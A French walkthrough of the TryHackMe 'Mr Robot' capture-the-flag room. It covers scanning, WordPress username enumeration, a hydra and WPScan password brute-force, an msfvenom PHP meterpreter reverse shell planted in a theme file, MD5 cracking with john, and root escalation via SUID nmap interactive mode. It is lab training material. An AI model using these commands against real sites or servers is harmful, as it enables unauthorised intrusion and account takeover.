Writeup Mr Robot CTF sur TryHackMe

Writeup Mr Robot CTF sur TryHackMe
Photo by James A. Molnar / Unsplash

Accessible ici : https://tryhackme.com/room/mrrobot

Préparation de mon environnement

Dans plusieurs terminaux dans ma VM Kali :

host=http://10.10.205.155/
mkdir ~/THM/mrrobot
cd ~/THM/mrrobot

NB : L'adresse IP est susceptible d'être différentes dans les captures, car j'ai fait le CTF sur plusieurs moments

Scan

NMAP

sudo nmap -sV -sC -O $host -o nmap.txt

Résultat :

PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03

GOBUSTER

gobuster dir  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://$host -o gobuster_dirs

Résultat :

/images               (Status: 301) [Size: 236] [--> http://10.10.175.178/images/]
/index.html           (Status: 200) [Size: 1188]
/blog                 (Status: 301) [Size: 234] [--> http://10.10.175.178/blog/]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.175.178/feed/]
/sitemap              (Status: 200) [Size: 0]
/login                (Status: 302) [Size: 0] [--> http://10.10.175.178/wp-login.php]
/0                    (Status: 301) [Size: 0] [--> http://10.10.175.178/0/]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.175.178/feed/]
/video                (Status: 301) [Size: 235] [--> http://10.10.175.178/video/]
/image                (Status: 301) [Size: 0] [--> http://10.10.175.178/image/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.175.178/feed/atom/]
/wp-content           (Status: 301) [Size: 240] [--> http://10.10.175.178/wp-content/]
/admin                (Status: 301) [Size: 235] [--> http://10.10.175.178/admin/]
/audio                (Status: 301) [Size: 235] [--> http://10.10.175.178/audio/]
/intro                (Status: 200) [Size: 516314]
/wp-login             (Status: 200) [Size: 2613]
/css                  (Status: 301) [Size: 233] [--> http://10.10.175.178/css/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.175.178/feed/]
/license              (Status: 200) [Size: 309]
/wp-includes          (Status: 301) [Size: 241] [--> http://10.10.175.178/wp-includes/]
/js                   (Status: 301) [Size: 232] [--> http://10.10.175.178/js/]
/Image                (Status: 301) [Size: 0] [--> http://10.10.175.178/Image/]
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.175.178/feed/rdf/]
/page1                (Status: 301) [Size: 0] [--> http://10.10.175.178/]
/readme               (Status: 200) [Size: 64]
/readme.html          (Status: 200) [Size: 64]
/robots               (Status: 200) [Size: 41]
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.175.178/wp-admin/]
/%20                  (Status: 301) [Size: 0] [--> http://10.10.175.178/]

Plusieurs URLs intéressantes :

  • /wp-login : un Wordpress avec sa page de connexion
  • / : nous emmenène vers un site aux couleurs de Mr Robot mais
    • /images ou toute autre page (/a par exemple) nous emmène vers le blog Wordpress (vide mais utile pour la suite)
  • /robots : contient du texte

Accès

Avec Chromium : /robots

Pasted-image-20220622005723

Clé 1

Nous avons la première clé :

Accès à http://10.10.175.178/key-1-of-3.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Dictionnaire de mots de passe

Egalement, téléchargeons le fichier http://10.10.175.178/fsocity.dic
Il s'agit d'un fichier contenant une liste de mots, donc un dictionnaire pour casser du mot de passe, mais avec plus de 800 000 entrées !

Mon erreur a été de le prendre comme ça... les tentatives avec hydra et john était interminables. Du coup, j'ai dû checker un writeup pour ce petit obstacle.

Ce qui nous donne les commandes suivantes :

$ wc -l fsocity.dic
858160 fsocity.dic

cat fsocity.dic | sort |uniq > fsociety.wordlist

$ wc -l fsociety.wordlist
11451 fsociety.wordlist

Accès à Wordpress /wp-login

On se rend compte qu'il est possible de faire du username enumeration : WP nous prévient lorsque c'est le mot de passe qui pose problème, ou quand le username est inconnu. J'aurais pu tenter avec WPSCan, mais un feeling me pousse à essayer simplement avec elliot (et un mot de passe quelconque) :

Pasted-image-20220623222750

Pasted-image-20220623222837

elliot est donc le username à utiliser pour brute-forcer avec le dictionnaire fourni (on suppose)

Attaque

Brute-Force Wordpress

On brute-force en ligne avec au choix hydra ou WPScan + elliot en username + la liste de mots téléchargée pour le password.

Avec WPScan :

wpscan --url http://$host -P fsociety.wordlist --usernames elliot

Avec Hydra, après avoir analysé avec Burp la requête post envoyée par le navigateur lors de la tentative de connexion :

hydra -l elliot -P fsociety.wordlist $host -V http-form-post '/wp-login.php:log=elliot&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.144.214%2Fwp-admin%2F&testcookie=1:The password you entered
' -t 60

(...)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "expertise" - 5736 of 11452 [child 2] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "experts" - 5737 of 11452 [child 55] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "expirationdate" - 5738 of 11452 [child 59] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "expiry" - 5739 of 11452 [child 22] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "explain" - 5740 of 11452 [child 19] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "explained" - 5741 of 11452 [child 24] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "explaining" - 5742 of 11452 [child 28] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "explains" - 5743 of 11452 [child 1] (0/0)
[80][http-post-form] host: 10.10.16.89   login: elliot   password: XXXXXXXXX
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-23 22:52:41

Foothold

Le username et le mot de passe trouvés nous permettent d'accéder à l'interface d'admin de WP et surtout la modification de pages PHP.

Générons du code PHP pour l'injection d'un revshell :

msfvenom -p php/meterpreter/reverse_tcp LHOST=tun0 LPORT=8000

NB : Nous utilisons ici le handler de Metasploit. Au départ, j'avais généré du code pour un handler netcat simple, mais le shell obtenu ne me permettait pas de taper de commandes interactives (comme su)

NB2 : également, j'avais d'abord utilisé le payload php/meterpreter_reverse_tcp. Le code généré faisait planter le serveur cible...

On copie/colle le code PHP obtenu dans une page PHP de Wordpress : Menu Appearance / Editor, à la fin de la page customizer.php :

Pasted-image-20220623231227

Côté Kali, lançons le handler dans Metasploit :

└─$ msfconsole
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/handler) > set LPORT 8000
LPORT => 8000
msf6 exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > exploit

Côté cible, on refresh le blog Wordpress (en accédant à la page /image par exemple). Cela exécute le code PHP injecté, qui se connecte au handler :

[*] Started reverse TCP handler on X.X.X.X:8000
[*] Sending stage (39860 bytes) to 10.10.254.152
[*] Meterpreter session 2 opened (X.X.X.X:8000 -> 10.10.254.152:52054 ) at 2022-06-24 12:21:32 +0200

meterpreter > shell
Process 1985 created.
Channel 0 created.

On découvre l'arborescence et on tombe sur le répertoire /home/robot avec un hash MD5 accessible avec l'utilisateur courant :

ls /home/robot/
key-2-of-3.txt
password.raw-md5

cd /home/robot/
cat password.raw-md5
robot:##################################

Le fichier key-2-of-3.txt n'est pas accessible.

Elévation de privilège

Le hash MD5 est peut-être le mot de passe du compte robot ?

Tentons de le brute-forcer. Sur Kali, on met le hash obtenu dans le fichier hash puis on casse (je ne sais plus quelle commande a fonctionné exactement) :

john hash --format=Raw-MD5
john hash --format=Raw-MD5 --wordlist=/usr/share/john/password.lst
john hash --format=Raw-MD5 --wordlist=fsociety.wordlist

Après quelques minutes, le mot de passe en clair est trouvé :

john hash --format=Raw-MD5 --show
robot:zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

1 password hash cracked, 0 left

Clé 2

On retourne dans le reverse shell, on peut maintenant passer sur le compte robot :

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on X.X.X.X:8000
[*] Sending stage (39860 bytes) to 10.10.254.152
[*] Meterpreter session 2 opened (X.X.X.X:8000 -> 10.10.254.152:52054 ) at 2022-06-24 12:21:32 +0200

meterpreter > shell
Process 1985 created.
Channel 0 created.

su - robot
su: must be run from a terminal

python3 -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ su - robot
su - robot
Password: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

$

Il suffit d'afficher la clé 2 dans le répertoire /home/robot.

Passage en root

On essaye ensuite le trio classique :

$ find / -perm -4000
find / -perm -4000
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
find: `/etc/ssl/private': Permission denied
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
(...)
$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
#

Il ne reste plus qu'à afficher la dernière clé !